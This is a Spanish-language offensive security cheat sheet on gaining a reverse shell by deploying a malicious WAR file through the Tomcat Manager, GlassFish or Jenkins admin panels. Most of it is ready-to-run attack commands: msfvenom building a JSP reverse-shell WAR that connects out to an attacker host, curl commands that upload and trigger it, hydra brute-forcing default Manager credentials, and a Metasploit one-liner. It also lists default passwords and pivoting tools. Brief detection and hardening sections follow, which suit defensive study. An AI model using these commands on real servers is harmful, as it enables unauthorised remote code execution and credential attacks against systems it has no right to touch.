WAR deploy in Tomcat/GlassFish/Jenkins

Los servidores de aplicaciones Java (Apache Tomcat, Oracle GlassFish, Payara, Jenkins) aceptan por diseño el despliegue de ficheros WAR desde su panel administrativo. Un WAR con una JSP shell es RCE inmediato: la JSP se ejecuta en el contexto del servicio.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war > shell.war

Y el despliegue depende del servidor:

• Tomcat Manager: PUT /manager/text/deploy?path=/shell&war=file:/tmp/shell.war (o UI en /manager/html).
• GlassFish 4848: Applications > Deploy > Local Packaged File.
• Jenkins Script Console: alternativa al WAR, ejecuta Groovy directamente.

En la práctica, con las credenciales del Manager el despliegue es un curl directo:

# Tomcat: subir y desplegar el WAR con las credenciales del Manager
curl -u <user>:<pass> -T shell.war "http://<ip>:8080/manager/text/deploy?path=/shell&update=true"
curl "http://<ip>:8080/shell/"                 # dispara la JSP -> reverse shell
curl -u <user>:<pass> "http://<ip>:8080/manager/text/undeploy?path=/shell"   # limpiar

Antes hay que conseguir esas credenciales, casi siempre por defecto o débiles:

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \
  -s 8080 <ip> http-get /manager/html
msfconsole -q -x "use multi/http/tomcat_mgr_upload; set RHOSTS <ip>; run"   # sube+despliega

Al visitar /shell/ (u otra ruta que se haya elegido), la JSP arranca y la reverse cae como el usuario del servicio. En Windows suele ser LocalSystem/SYSTEM; en Linux depende del paquete (tomcat, glassfish, o root en instalaciones manuales).

Matices. Muchos paneles bindean solo a localhost: hay que combinar con port forwarding (chisel, ssh -L) desde un pivote local. Las credenciales por defecto de estos paneles (tomcat/tomcat, admin con contraseña vacía en GlassFish, admin/admin en Jenkins fresh) siguen siendo válidas más a menudo de lo que parece.

Cómo detectarlo. El despliegue deja rastro claro: una petición PUT/POST a /manager/text/deploy o /manager/html/upload seguida de la aparición de un .war nuevo en webapps/ y de un proceso hijo del servicio Java (cmd.exe, /bin/sh) que no debería existir. En los logs de acceso, un deploy exitoso responde 200 - Deployed; los intentos de fuerza bruta contra el Manager se ven como una ráfaga de 401 sobre /manager/.

Defensa. Deshabilitar Manager/Deployer en producción, restringir el panel a localhost con NAT/reverse-proxy autenticado, forzar credenciales largas y MFA. En entornos regulados, correr Java como usuario dedicado sin privilegios (tomcat con seccomp/AppArmor).